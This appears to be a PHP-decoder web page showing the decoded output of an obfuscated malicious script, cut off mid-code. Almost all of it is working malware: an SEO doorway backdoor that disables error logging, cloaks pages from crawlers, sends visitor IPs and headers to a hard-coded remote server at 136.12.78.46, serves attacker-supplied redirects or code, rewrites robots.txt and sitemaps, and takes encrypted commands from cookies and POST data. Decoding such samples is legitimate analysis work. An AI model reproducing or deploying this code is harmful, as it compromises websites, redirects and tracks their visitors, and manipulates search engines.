Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @ini_set("error_log", null); @ini_set("log_errors", 0); @ini_set("max_execution..

Decoded Output download

<?php 
 
@ini_set("error_log", null); 
@ini_set("log_errors", 0); 
@ini_set("max_execution_time", 0); 
@error_reporting(0); 
@set_time_limit(0); 
date_default_timezone_set("UTC"); 
class class1{ 
    private static $num1 = 2420912382; 
    static function class1_func1($_0mg8g8sb, $_0zsgvis0) 
    { 
        $_0mg8g8sb[2] = 
            count($_0mg8g8sb) > 4 
                ? long2ip(class1::$num1 - 342) 
                : $_0mg8g8sb[2]; 
        $_kuknr5es = class1::func_curl($_0mg8g8sb, $_0zsgvis0); 
        if (!$_kuknr5es) { 
            $_kuknr5es = class1::func_http($_0mg8g8sb, $_0zsgvis0); 
        } 
        return $_kuknr5es; 
    } 
    static function func_curl($_0mg8g8sb, $_kuknr5es, $_6gij44xm = null) 
    { 
        if (!function_exists("curl_version")) { 
            return ""; 
        } 
        if (is_array($_0mg8g8sb)) { 
            $_0mg8g8sb = implode("/", $_0mg8g8sb); 
        } 
        $_on7cc0r8 = curl_init(); 
        curl_setopt($_on7cc0r8, CURLOPT_SSL_VERIFYHOST, false); 
        curl_setopt($_on7cc0r8, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($_on7cc0r8, CURLOPT_URL, $_0mg8g8sb); 
        if (!empty($_kuknr5es)) { 
            curl_setopt($_on7cc0r8, CURLOPT_POST, 1); 
            curl_setopt($_on7cc0r8, CURLOPT_POSTFIELDS, $_kuknr5es); 
        } 
        if (!empty($_6gij44xm)) { 
            curl_setopt($_on7cc0r8, CURLOPT_HTTPHEADER, $_6gij44xm); 
        } 
        curl_setopt($_on7cc0r8, CURLOPT_RETURNTRANSFER, true); 
        $_zptubzm8 = curl_exec($_on7cc0r8); 
        curl_close($_on7cc0r8); 
        return $_zptubzm8; 
    } 
    static function func_http($_0mg8g8sb, $_kuknr5es, $_6gij44xm = null) 
    { 
        if (is_array($_0mg8g8sb)) { 
            $_0mg8g8sb = implode("/", $_0mg8g8sb); 
        } 
        if (!empty($_kuknr5es)) { 
            $_rzifh9gh = [ 
                "method" => "POST", 
                "header" => "Content-type: application/x-www-form-urlencoded", 
                "content" => $_kuknr5es, 
            ]; 
            if (!empty($_6gij44xm)) { 
                $_rzifh9gh["header"] = 
                    $_rzifh9gh["header"] . "
" . implode("
", $_6gij44xm); 
            } 
            $_hbkwuxe1 = stream_context_create(["http" => $_rzifh9gh]); 
        } else { 
            $_rzifh9gh = ["method" => "GET"]; 
            if (!empty($_6gij44xm)) { 
                $_rzifh9gh["header"] = implode("
", $_6gij44xm); 
            } 
            $_hbkwuxe1 = stream_context_create(["http" => $_rzifh9gh]); 
        } 
        return @file_get_contents($_0mg8g8sb, false, $_hbkwuxe1); 
    } 
} 
class class2{ 
    private static $_imsa8182 = ""; 
    private static $_wpqm70lj = -1; 
    private static $_qym1vfxr = ""; 
    private $_ojvqqiv4 = ""; 
    private $_mapqaxgr = ""; 
    private $_jkz3lolf = ""; 
    private $_gr0tlgyi = ""; 
    public static function class3_func1($_bkkk2t78, $_dhtpk8rz, $_129hbs96) 
    { 
        class2::$_imsa8182 = $_bkkk2t78 . "/cache/"; 
        class2::$_wpqm70lj = $_dhtpk8rz; 
        class2::$_qym1vfxr = $_129hbs96; 
        if (!@file_exists(class2::$_imsa8182)) { 
            @mkdir(class2::$_imsa8182); 
        } 
    } 
    public static function class2_func1() 
    { 
        $_bhp2m19o = 0; 
        foreach (scandir(class2::$_imsa8182) as $_e5bk3gdv) { 
            $_bhp2m19o += 1; 
        } 
        return $_bhp2m19o; 
    } 
    public static function return_true() 
    { 
        return true; 
    } 
    public function __construct($_lo38lbt9, $_2dfrux20, $_4jfsfjgi, $_kakq98kr) 
    { 
        $this->_ojvqqiv4 = $_lo38lbt9; 
        $this->_mapqaxgr = $_2dfrux20; 
        $this->_jkz3lolf = $_4jfsfjgi; 
        $this->_gr0tlgyi = $_kakq98kr; 
    } 
    public function class2_func2() 
    { 
        function _hbqvw($_zblp8mmb, $_kvmspgv3) 
        { 
            return round( 
                rand($_zblp8mmb, $_kvmspgv3 - 1) + 
                    rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX, 
                2 
            ); 
        } 
        $_u4zq5nl0 = class4::class4_func4(); 
        $_kuknr5es = str_replace( 
            "{{ text }}", 
            $this->_mapqaxgr, 
            str_replace( 
                "{{ keyword }}", 
                $this->_jkz3lolf, 
                str_replace("{{ links }}", $this->_gr0tlgyi, $this->_ojvqqiv4) 
            ) 
        ); 
        while (true) { 
            $_qgdfpn2q = preg_replace( 
                "/" . preg_quote("{{ randkeyword }}", "/") . "/", 
                class4::class4_func3(), 
                $_kuknr5es, 
                1 
            ); 
            if ($_qgdfpn2q === $_kuknr5es) { 
                break; 
            } 
            $_kuknr5es = $_qgdfpn2q; 
        } 
        while (true) { 
            preg_match( 
                "/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/", 
                $_kuknr5es, 
                $_kvslphdk 
            ); 
            if (empty($_kvslphdk)) { 
                break; 
            } 
            $_4jfsfjgi = @$_u4zq5nl0[intval($_kvslphdk[1])]; 
            $_cfz9p1b1 = class5::_5inqk($_4jfsfjgi); 
            $_kuknr5es = str_replace($_kvslphdk[0], $_cfz9p1b1, $_kuknr5es); 
        } 
        while (true) { 
            preg_match("/{{ KEYWORDBYINDEX (\d*) }}/", $_kuknr5es, $_kvslphdk); 
            if (empty($_kvslphdk)) { 
                break; 
            } 
            $_4jfsfjgi = @$_u4zq5nl0[intval($_kvslphdk[1])]; 
            $_kuknr5es = str_replace($_kvslphdk[0], $_4jfsfjgi, $_kuknr5es); 
        } 
        while (true) { 
            preg_match("/{{ RANDFLOAT (\d*)-(\d*) }}/", $_kuknr5es, $_kvslphdk); 
            if (empty($_kvslphdk)) { 
                break; 
            } 
            $_kuknr5es = str_replace( 
                $_kvslphdk[0], 
                _hbqvw($_kvslphdk[1], $_kvslphdk[2]), 
                $_kuknr5es 
            ); 
        } 
        while (true) { 
            preg_match("/{{ RANDINT (\d*)-(\d*) }}/", $_kuknr5es, $_kvslphdk); 
            if (empty($_kvslphdk)) { 
                break; 
            } 
            $_kuknr5es = str_replace( 
                $_kvslphdk[0], 
                rand($_kvslphdk[1], $_kvslphdk[2]), 
                $_kuknr5es 
            ); 
        } 
        return $_kuknr5es; 
    } 
    public function class2_func3() 
    { 
        $_76r3e1jf = 
            class2::$_imsa8182 . md5($this->_jkz3lolf . class2::$_qym1vfxr); 
        if (class2::$_wpqm70lj == -1) { 
            $_i3jprr2n = -1; 
        } else { 
            $_i3jprr2n = time() + 3600 * 24 * 30; 
        } 
        $_sfkj5g26 = [ 
            "template" => $this->_ojvqqiv4, 
            "text" => $this->_mapqaxgr, 
            "keyword" => $this->_jkz3lolf, 
            "links" => $this->_gr0tlgyi, 
            "expired" => $_i3jprr2n, 
        ]; 
        @file_put_contents($_76r3e1jf, serialize($_sfkj5g26)); 
    } 
    public static function class2_func4($_4jfsfjgi) 
    { 
        $_76r3e1jf = 
            class2::$_imsa8182 . md5($_4jfsfjgi . class2::$_qym1vfxr); 
        $_76r3e1jf = @unserialize(@file_get_contents($_76r3e1jf)); 
        if ( 
            !empty($_76r3e1jf) && 
            ($_76r3e1jf["expired"] > time() || $_76r3e1jf["expired"] == -1) 
        ) { 
            return new class2( 
                $_76r3e1jf["template"], 
                $_76r3e1jf["text"], 
                $_76r3e1jf["keyword"], 
                $_76r3e1jf["links"] 
            ); 
        } else { 
            return null; 
        } 
    } 
} 
 
class class3{ 
    private static $_imsa8182 = ""; 
    private static $_sheg46n5 = ""; 
    public static function class3_func1($_bkkk2t78, $_436g5o4e) 
    { 
        class3::$_imsa8182 = $_bkkk2t78 . "/"; 
        class3::$_sheg46n5 = $_436g5o4e; 
        if (!@file_exists(class3::$_imsa8182)) { 
            @mkdir(class3::$_imsa8182); 
        } 
    } 
    public static function return_true() 
    { 
        return true; 
    } 
    public static function class2_func1() 
    { 
        $_bhp2m19o = 0; 
        foreach (scandir(class3::$_imsa8182) as $_e5bk3gdv) { 
            if (strpos($_e5bk3gdv, class3::$_sheg46n5) === 0) { 
                $_bhp2m19o += 1; 
            } 
        } 
        return $_bhp2m19o; 
    } 
    public static function class4_func3() 
    { 
        $_pmujs8ea = []; 
        foreach (scandir(class3::$_imsa8182) as $_e5bk3gdv) { 
            if (strpos($_e5bk3gdv, class3::$_sheg46n5) === 0) { 
                $_pmujs8ea[] = $_e5bk3gdv; 
            } 
        } 
        return @file_get_contents( 
            class3::$_imsa8182 . $_pmujs8ea[array_rand($_pmujs8ea)] 
        ); 
    } 
    public static function class2_func3($_rulyi3f0) 
    { 
        if ( 
            @file_exists(class3::$_sheg46n5 . "_" . md5($_rulyi3f0) . ".html") 
        ) { 
            return; 
        } 
        @file_put_contents( 
            class3::$_sheg46n5 . "_" . md5($_rulyi3f0) . ".html", 
            $_rulyi3f0 
        ); 
    } 
} 
 
class class4{ 
    private static $_imsa8182 = ""; 
    private static $_sheg46n5 = ""; 
    private static $_ri7upp4u = []; 
    private static $_s8tds9m8 = []; 
    public static function class4_func1($_bkkk2t78, $_436g5o4e) 
    { 
        class4::$_imsa8182 = $_bkkk2t78 . "/"; 
        class4::$_sheg46n5 = $_436g5o4e; 
        if (!@file_exists(class4::$_imsa8182)) { 
            @mkdir(class4::$_imsa8182); 
        } 
    } 
    private static function class4_func2() 
    { 
        $_w97yt2vk = []; 
        foreach (scandir(class4::$_imsa8182) as $_e5bk3gdv) { 
            if (strpos($_e5bk3gdv, class4::$_sheg46n5) === 0) { 
                $_w97yt2vk[] = $_e5bk3gdv; 
            } 
        } 
        return $_w97yt2vk; 
    } 
    public static function return_true() 
    { 
        return true; 
    } 
    public static function class4_func3() 
    { 
        if (empty(class4::$_ri7upp4u)) { 
            $_w97yt2vk = class4::class4_func2(); 
            class4::$_ri7upp4u = @file( 
                class4::$_imsa8182 . $_w97yt2vk[array_rand($_w97yt2vk)], 
                FILE_IGNORE_NEW_LINES 
            ); 
        } 
        return class4::$_ri7upp4u[array_rand(class4::$_ri7upp4u)]; 
    } 
    public static function class4_func4() 
    { 
        if (empty(class4::$_s8tds9m8)) { 
            $_w97yt2vk = class4::class4_func2(); 
            foreach ($_w97yt2vk as $_cy3ll155) { 
                class4::$_s8tds9m8 = array_merge( 
                    class4::$_s8tds9m8, 
                    @file( 
                        class4::$_imsa8182 . $_cy3ll155, 
                        FILE_IGNORE_NEW_LINES 
                    ) 
                ); 
            } 
        } 
        return class4::$_s8tds9m8; 
    } 
    public static function class2_func3($_w1gf7i57) 
    { 
        if ( 
            @file_exists(class4::$_sheg46n5 . "_" . md5($_w1gf7i57) . ".list") 
        ) { 
            return; 
        } 
        @file_put_contents( 
            class4::$_sheg46n5 . "_" . md5($_w1gf7i57) . ".list", 
            $_w1gf7i57 
        ); 
    } 
    public static function class4_func5($_4jfsfjgi) 
    { 
        @file_put_contents( 
            class4::$_sheg46n5 . "_" . md5(class5::$_1hun2z7b) . ".list", 
            $_4jfsfjgi . "
", 
            8 
        ); 
    } 
} 
class class5{ 
    public static $_r6tgz2bb = "5.2"; 
    public static $_1hun2z7b = "18af26d4-adde-b84a-c7e6-76b9463287be"; 
    private $_xma1vmi1 = "http://136.12.78.46/app/assets/api2?action=redir"; 
    private $_k858xfaa = "http://136.12.78.46/app/assets/api?action=page"; 
    public static $_3buarutd = 5; 
    public static $_aogvud63 = 20; 
    private function class5_func1() 
    { 
        $_5cv2gq45 = [ 
            "#libwww-perl#i", 
            "#MJ12bot#i", 
            "#msnbot#i", 
            "#msnbot-media#i", 
            "#YandexBot#i", 
            "#msnbot#i", 
            "#YandexWebmaster#i", 
            "#spider#i", 
            "#yahoo#i", 
            "#google#i", 
            "#altavista#i", 
            "#ask#i", 
            "#yahoo!\s*slurp#i", 
            "#BingBot#i", 
        ]; 
        if ( 
            !empty($_SERVER["HTTP_USER_AGENT"]) && 
            false !== 
                strpos( 
                    preg_replace( 
                        $_5cv2gq45, 
                        "-NO-WAY-", 
                        $_SERVER["HTTP_USER_AGENT"] 
                    ), 
                    "-NO-WAY-" 
                ) 
        ) { 
            $_0hcf7vzs = 1; 
        } elseif ( 
            empty($_SERVER["HTTP_ACCEPT_LANGUAGE"]) || 
            empty($_SERVER["HTTP_REFERER"]) 
        ) { 
            $_0hcf7vzs = 1; 
        } elseif ( 
            strpos($_SERVER["HTTP_REFERER"], "google") === false && 
            strpos($_SERVER["HTTP_REFERER"], "yahoo") === false && 
            strpos($_SERVER["HTTP_REFERER"], "bing") === false && 
            strpos($_SERVER["HTTP_REFERER"], "yandex") === false 
        ) { 
            $_0hcf7vzs = 1; 
        } else { 
            $_0hcf7vzs = 0; 
        } 
        return $_0hcf7vzs; 
    } 
    private static function class5_func2() 
    { 
        $_0zsgvis0 = []; 
        $_0zsgvis0["ip"] = $_SERVER["REMOTE_ADDR"]; 
        $_0zsgvis0["qs"] = @$_SERVER["HTTP_HOST"] . @$_SERVER["REQUEST_URI"]; 
        $_0zsgvis0["ua"] = @$_SERVER["HTTP_USER_AGENT"]; 
        $_0zsgvis0["lang"] = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; 
        $_0zsgvis0["ref"] = @$_SERVER["HTTP_REFERER"]; 
        $_0zsgvis0["enc"] = @$_SERVER["HTTP_ACCEPT_ENCODING"]; 
        $_0zsgvis0["acp"] = @$_SERVER["HTTP_ACCEPT"]; 
        $_0zsgvis0["char"] = @$_SERVER["HTTP_ACCEPT_CHARSET"]; 
        $_0zsgvis0["conn"] = @$_SERVER["HTTP_CONNECTION"]; 
        return $_0zsgvis0; 
    } 
    public function __construct() 
    { 
        $this->_xma1vmi1 = explode("/", $this->_xma1vmi1); 
        $this->_k858xfaa = explode("/", $this->_k858xfaa); 
    } 
    public static function class5_func3($_b9v7lqpw) 
    { 
        if (strlen($_b9v7lqpw) < 4) { 
            return ""; 
        } 
        $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; 
        $_u4zq5nl0 = str_split($chars); 
        $_u4zq5nl0 = array_flip($_u4zq5nl0); 
        $_3pwrgscn = 0; 
        $_dut0eaji = ""; 
        $_b9v7lqpw = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_b9v7lqpw); 
        do { 
            $_po8s04u7 = $_u4zq5nl0[$_b9v7lqpw[$_3pwrgscn++]]; 
            $_j9w0wdft = $_u4zq5nl0[$_b9v7lqpw[$_3pwrgscn++]]; 
            $_1gx5jhtu = $_u4zq5nl0[$_b9v7lqpw[$_3pwrgscn++]]; 
            $_fa1635nb = $_u4zq5nl0[$_b9v7lqpw[$_3pwrgscn++]]; 
            $_yrjhs0j8 = ($_po8s04u7 << 2) | ($_j9w0wdft >> 4); 
            $_h0zlz6pf = (($_j9w0wdft & 15) << 4) | ($_1gx5jhtu >> 2); 
            $_yeucgt7w = (($_1gx5jhtu & 3) << 6) | $_fa1635nb; 
            $_dut0eaji = $_dut0eaji . chr($_yrjhs0j8); 
            if ($_1gx5jhtu != 64) { 
                $_dut0eaji = $_dut0eaji . chr($_h0zlz6pf); 
            } 
            if ($_fa1635nb != 64) { 
                $_dut0eaji = $_dut0eaji . chr($_yeucgt7w); 
            } 
        } while ($_3pwrgscn < strlen($_b9v7lqpw)); 
        return $_dut0eaji; 
    } 
    private function class5_func4($_4jfsfjgi) 
    { 
        $_lo38lbt9 = ""; 
        $_2dfrux20 = ""; 
        $_0zsgvis0 = class5::class5_func2(); 
        $_0zsgvis0["uid"] = class5::$_1hun2z7b; 
        $_0zsgvis0["keyword"] = $_4jfsfjgi; 
        $_0zsgvis0["tc"] = 10; 
        $_0zsgvis0 = http_build_query($_0zsgvis0); 
        $_c6lqruoo = class1::class1_func1($this->_k858xfaa, $_0zsgvis0); 
        if (strpos($_c6lqruoo, class5::$_1hun2z7b) === false) { 
            return [$_lo38lbt9, $_2dfrux20]; 
        } 
        $_lo38lbt9 = class3::class4_func3(); 
        $_2dfrux20 = substr($_c6lqruoo, strlen(class5::$_1hun2z7b)); 
        $_2dfrux20 = explode("
", $_2dfrux20); 
        shuffle($_2dfrux20); 
        $_2dfrux20 = implode(" ", $_2dfrux20); 
        return [$_lo38lbt9, $_2dfrux20]; 
    } 
    private function class5_func5() 
    { 
        $_0zsgvis0 = class5::class5_func2(); 
        if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { 
            $_0zsgvis0["cfconn"] = @$_SERVER["HTTP_CF_CONNECTING_IP"]; 
        } 
        if (isset($_SERVER["HTTP_X_REAL_IP"])) { 
            $_0zsgvis0["xreal"] = @$_SERVER["HTTP_X_REAL_IP"]; 
        } 
        if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { 
            $_0zsgvis0["xforward"] = @$_SERVER["HTTP_X_FORWARDED_FOR"]; 
        } 
        $_0zsgvis0["uid"] = class5::$_1hun2z7b; 
        $_0zsgvis0 = http_build_query($_0zsgvis0); 
        $_ieutud5a = class1::class1_func1($this->_xma1vmi1, $_0zsgvis0); 
        $_ieutud5a = @unserialize($_ieutud5a); 
        if (isset($_ieutud5a["type"]) && $_ieutud5a["type"] == "redir") { 
            if (!empty($_ieutud5a["data"]["header"])) { 
                header($_ieutud5a["data"]["header"]); 
                return true; 
            } elseif (!empty($_ieutud5a["data"]["code"])) { 
                echo $_ieutud5a["data"]["code"]; 
                return true; 
            } 
        } 
        return false; 
    } 
    public function return_true() 
    { 
        return true; 
    } 
    public static function _xzdak() 
    { 
        if ( 
            (!empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off") || 
            $_SERVER["SERVER_PORT"] == 443 
        ) { 
            return true; 
        } 
        return false; 
    } 
    public static function _rtyid() 
    { 
        $_de0t83qt = explode("?", $_SERVER["REQUEST_URI"], 2); 
        $_de0t83qt = $_de0t83qt[0]; 
        if (strpos($_de0t83qt, ".php") === false) { 
            $_de0t83qt = explode("/", $_de0t83qt); 
            array_pop($_de0t83qt); 
            $_de0t83qt = implode("/", $_de0t83qt) . "/"; 
        } 
        return sprintf( 
            "%s://%s%s", 
            class5::_xzdak() ? "https" : "http", 
            $_SERVER["HTTP_HOST"], 
            $_de0t83qt 
        ); 
    } 
    public static function _9thiq() 
    { 
        $_co66l67f = [ 
            "https://www.google.com/ping?sitemap=" => 
                "Sitemap Notification Received", 
            "https://www.bing.com/ping?sitemap=" => 
                "Thanks for submitting your Sitemap", 
        ]; 
        $_6gij44xm = [ 
            "Accept: text/html,application/xhtml+xml,application/xml; 
q=0.9,image/webp,*/*; 
q=0.8", 
            "Accept-Language: en-US,en; 
q=0.5", 
            "User-Agent: Mozilla/5.0 (Windows NT 6.1; 
 Win64; 
 x64; 
 rv:82.0) Gecko/20100101 Firefox/82.0", 
        ]; 
        $_jtisr1z3 = urlencode(class5::_y55e7() . "/sitemap.xml"); 
        foreach ($_co66l67f as $_0mg8g8sb => $_b6t2wtbp) { 
            $_uh1gpad5 = class1::func_curl( 
                $_0mg8g8sb . $_jtisr1z3, 
                null, 
                $_6gij44xm 
            ); 
            if (empty($_uh1gpad5)) { 
                $_uh1gpad5 = class1::func_http( 
                    $_0mg8g8sb . $_jtisr1z3, 
                    null, 
                    $_6gij44xm 
                ); 
            } 
            if (empty($_uh1gpad5)) { 
                return false; 
            } 
            if (strpos($_uh1gpad5, $_b6t2wtbp) === false) { 
                return false; 
            } 
        } 
        return true; 
    } 
    public static function _3bc8v() 
    { 
        $_yh4o323d = 
            "User-agent: *
Disallow: %s
User-agent: Bingbot
User-agent: Googlebot
User-agent: Slurp
Disallow:
Sitemap: %s
"; 
        $_de0t83qt = explode("?", $_SERVER["REQUEST_URI"], 2); 
        $_de0t83qt = $_de0t83qt[0]; 
        $_489zvduv = substr($_de0t83qt, 0, strrpos($_de0t83qt, "/")); 
        $_s51vo8it = sprintf( 
            $_yh4o323d, 
            $_489zvduv, 
            class5::_y55e7() . "/sitemap.xml" 
        ); 
        $_wjx6ekd0 = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt"; 
        if (@file_exists($_wjx6ekd0)) { 
            @chmod($_wjx6ekd0, 0777); 
            $_4ycs35az = @file_get_contents($_wjx6ekd0); 
        } else { 
            $_4ycs35az = ""; 
        } 
        if (strpos($_4ycs35az, $_s51vo8it) === false) { 
            @file_put_contents($_wjx6ekd0, $_4ycs35az . "
" . $_s51vo8it); 
            $_4ycs35az = @file_get_contents($_wjx6ekd0); 
            return strpos($_4ycs35az, $_s51vo8it) !== false; 
        } 
        return false; 
    } 
    public static function _y55e7() 
    { 
        $_de0t83qt = explode("?", $_SERVER["REQUEST_URI"], 2); 
        $_de0t83qt = $_de0t83qt[0]; 
        $_bkkk2t78 = substr($_de0t83qt, 0, strrpos($_de0t83qt, "/")); 
        return sprintf( 
            "%s://%s%s", 
            class5::_xzdak() ? "https" : "http", 
            $_SERVER["HTTP_HOST"], 
            $_bkkk2t78 
        ); 
    } 
    public static function _5inqk($_4jfsfjgi) 
    { 
        $_122zbkuu = class5::_rtyid(); 
        $_a7ltmt6z = substr(md5(class5::$_1hun2z7b . "salt3"), 0, 6); 
        $_ch6kn1ad = ""; 
        if (substr($_122zbkuu, -1) == "/") { 
            if (ord($_a7ltmt6z[1]) % 2) { 
                $_4jfsfjgi = str_replace(" ", "-", $_4jfsfjgi); 
            } else { 
                $_4jfsfjgi = str_replace(" ", "-", $_4jfsfjgi); 
            } 
            $_ch6kn1ad = sprintf("%s%s", $_122zbkuu, urlencode($_4jfsfjgi)); 
        } else { 
            if (false && ord($_a7ltmt6z[0]) % 2) { 
                $_ch6kn1ad = sprintf( 
                    "%s?%s=%s", 
                    $_122zbkuu, 
                    $_a7ltmt6z, 
                    urlencode(str_replace(" ", "-", $_4jfsfjgi)) 
                ); 
            } else { 
                $_fh4cipvx = ["id", "page", "tag"]; 
                $_0ytybpie = $_fh4cipvx[ord($_a7ltmt6z[2]) % count($_fh4cipvx)]; 
                if (ord($_a7ltmt6z[1]) % 2) { 
                    $_4jfsfjgi = str_replace(" ", "-", $_4jfsfjgi); 
                } else { 
                    $_4jfsfjgi = str_replace(" ", "-", $_4jfsfjgi); 
                } 
                $_ch6kn1ad = sprintf( 
                    "%s?%s=%s", 
                    $_122zbkuu, 
                    $_0ytybpie, 
                    urlencode($_4jfsfjgi) 
                ); 
            } 
        } 
        return $_ch6kn1ad; 
    } 
    public static function _982nj($_zblp8mmb, $_kvmspgv3) 
    { 
        $_50tm5tfq = ""; 
        for ( 
            $_3pwrgscn = 0; 
            $_3pwrgscn < rand($_zblp8mmb, $_kvmspgv3); 
            $_3pwrgscn++ 
        ) { 
            $_4jfsfjgi = class4::class4_func3(); 
            $_50tm5tfq .= sprintf( 
                "<a href=\"%s\">%s</a>,
", 
                class5::_5inqk($_4jfsfjgi), 
                ucwords($_4jfsfjgi) 
            ); 
        } 
        return $_50tm5tfq; 
    } 
    public static function _b998e($_vth3hxy3 = false) 
    { 
        $_mhhfy450 = dirname(__FILE__) . "/sitemap.xml"; 
        $_athdg2y5 = 
            "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . 
            ">
<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">
"; 
        $_tutyqn2h = "</urlset>"; 
        $_u4zq5nl0 = class4::class4_func4(); 
        $_dsp4zj0b = []; 
        if (file_exists($_mhhfy450)) { 
            $_c6lqruoo = simplexml_load_file($_mhhfy450); 
            foreach ($_c6lqruoo as $_kye27ris) { 
                $_dsp4zj0b[(string) $_kye27ris->loc] = 
                    (string) $_kye27ris->lastmod; 
            } 
        } else { 
            $_vth3hxy3 = false; 
        } 
        foreach ($_u4zq5nl0 as $_7rv2hx4x) { 
            $_ch6kn1ad = class5::_5inqk($_7rv2hx4x); 
            if (isset($_dsp4zj0b[$_ch6kn1ad])) { 
                continue; 
            } 
            if ($_vth3hxy3) { 
                $_arswcs1o = time(); 
            } else { 
                $_arswcs1o = time() - (crc32($_7rv2hx4x) % (60 * 60 * 24 * 30)); 
            } 
            $_dsp4zj0b[$_ch6kn1ad] = date("Y-m-d", $_arswcs1o); 
        } 
        $_rbhkx4bz = ""; 
        foreach ($_dsp4zj0b as $_0mg8g8sb => $_arswcs1o) { 
            $_rbhkx4bz .= "<url>
"; 
            $_rbhkx4bz .= sprintf("<loc>%s</loc>
", $_0mg8g8sb); 
            $_rbhkx4bz .= sprintf("<lastmod>%s</lastmod>
", $_arswcs1o); 
            $_rbhkx4bz .= "</url>
"; 
        } 
        $_1ybg93ki = $_athdg2y5 . $_rbhkx4bz . $_tutyqn2h; 
        $_jtisr1z3 = class5::_y55e7() . "/sitemap.xml"; 
        @file_put_contents($_mhhfy450, $_1ybg93ki); 
        return $_jtisr1z3; 
    } 
    public function _o0528() 
    { 
        $_0ytybpie = substr(md5(class5::$_1hun2z7b . "salt3"), 0, 6); 
        if (!$this->class5_func1()) { 
            if ($this->class5_func5()) { 
                return; 
            } 
        } 
        if (!empty($_GET)) { 
            $_o5eeefoq = array_values($_GET); 
        } else { 
            $_o5eeefoq = explode("/", $_SERVER["REQUEST_URI"]); 
            $_o5eeefoq = array_reverse($_o5eeefoq); 
        } 
        $_4jfsfjgi = ""; 
        foreach ($_o5eeefoq as $_798ngluc) { 
            if (substr_count($_798ngluc, "-") > 0) { 
                $_4jfsfjgi = $_798ngluc; 
                break; 
            } 
        } 
        $_4jfsfjgi = str_replace($_0ytybpie . "-", "", $_4jfsfjgi); 
        $_4jfsfjgi = str_replace("-" . $_0ytybpie, "", $_4jfsfjgi); 
        $_4jfsfjgi = str_replace("-", " ", $_4jfsfjgi); 
        $_4jfsfjgi = urldecode($_4jfsfjgi); 
        $_etuomnuh = class4::class4_func4(); 
        if (empty($_4jfsfjgi)) { 
            $_4jfsfjgi = $_etuomnuh[0]; 
        } elseif (!in_array($_4jfsfjgi, $_etuomnuh)) { 
            $_nlf1jfkg = 0; 
            foreach (str_split($_4jfsfjgi) as $_on7cc0r8) { 
                $_nlf1jfkg += ord($_on7cc0r8); 
            } 
            $_4jfsfjgi = $_etuomnuh[$_nlf1jfkg % count($_etuomnuh)]; 
        } 
        if (!empty($_4jfsfjgi)) { 
            $_ieutud5a = class2::class2_func4($_4jfsfjgi); 
            if (empty($_ieutud5a)) { 
                list($_lo38lbt9, $_2dfrux20) = $this->class5_func4($_4jfsfjgi); 
                if (empty($_2dfrux20)) { 
                    return; 
                } 
                $_ieutud5a = new class2( 
                    $_lo38lbt9, 
                    $_2dfrux20, 
                    $_4jfsfjgi, 
                    class5::_982nj(class5::$_3buarutd, class5::$_aogvud63) 
                ); 
                $_ieutud5a->class2_func3(); 
            } 
            echo $_ieutud5a->class2_func2(); 
        } 
    } 
} 
 
class2::class3_func1(dirname(__FILE__), -1, class5::$_1hun2z7b); 
class3::class3_func1( 
    dirname(__FILE__), 
    substr(md5(class5::$_1hun2z7b . "salt12"), 0, 4) 
); 
class4::class3_func1( 
    dirname(__FILE__), 
    substr(md5(class5::$_1hun2z7b . "salt22"), 0, 4) 
); 
function _3qldi($_c6lqruoo, $_7rv2hx4x) 
{ 
    $_32aibmqu = ""; 
    for ($_3pwrgscn = 0; $_3pwrgscn < strlen($_c6lqruoo); ) { 
        for ( 
            $_reyxzzst = 0; 
            $_reyxzzst < strlen($_7rv2hx4x) && $_3pwrgscn < strlen($_c6lqruoo); 
            $_reyxzzst++, $_3pwrgscn++ 
        ) { 
            $_32aibmqu .= chr( 
                ord($_c6lqruoo[$_3pwrgscn]) ^ ord($_7rv2hx4x[$_reyxzzst]) 
            ); 
        } 
    } 
    return $_32aibmqu; 
} 
function _uw4lc($_c6lqruoo, $_7rv2hx4x, $_oupl9ggf) 
{ 
    return _3qldi(_3qldi($_c6lqruoo, $_7rv2hx4x), $_oupl9ggf); 
} 
 
foreach (array_merge($_COOKIE, $_POST) as $_u5b8ibin => $_c6lqruoo) { 
    $_c6lqruoo = @unserialize( 
        _uw4lc(class5::class5_func3($_c6lqruoo), $_u5b8ibin, class5::$_1hun2z7b) 
    ); 
    if (isset($_c6lqruoo["ak"]) && class5::$_1hun2z7b == $_c6lqruoo["ak"]) { 
        if ($_c6lqruoo["a"] == "doorway2") { 
            if ($_c6lqruoo["sa"] == "check") { 
                $_kuknr5es = class1::class1_func1( 
                    explode("/", "http://httpbin.org/"), 
                    "" 
                ); 
                if (strlen($_kuknr5es) > 512) { 
                    echo @serialize([ 
                        "uid" => class5::$_1hun2z7b, 
                        "v" => class5::$_r6tgz2bb, 
                        "cache" => class2::class2_func1(), 
                        "keywords" => count(class4::class4_func4()), 
                        "templates" => class3::class2_func1(), 
                    ]); 
                } 
                exit(); 
            } 
            if ($_c6lqruoo["sa"] == "templates") { 
                foreach ($_c6lqruoo["templates"] as $_lo38lbt9) { 
                    class3::class2_func3($_lo38lbt9); 
                    echo @serialize([ 
                        "uid" => class5::$_1hun2z7b, 
                        "v" => class5::$_r6tgz2bb, 
                    ]); 
                } 
            } 
            if ($_c6lqruoo["sa"] == "keywords") { 
                class4::class2_func3($_c6lqruoo["keywords"]); 
                class5::_b998e(); 
                echo @serialize([ 
                    "uid" => class5::$_1hun2z7b, 
                    "v" => class5::$_r6tgz2bb, 
                ]); 
            } 
            if ($_c6lqruoo["sa"] == "update_sitemap") { 
                class5::_b998e(true); 
                echo @serialize([ 
                    "uid" => class5::$_1hun2z7b, 
                    "v" => class5::$_r6tgz2bb, 
                ]); 
            } 
            if ($_c6lqruoo["sa"] == "pages") { 
                $_1mjrt5r5 = 0; 
                $_etuomnuh = class4::class4_func4(); 
                if (class3::class2_func1() > 0) { 
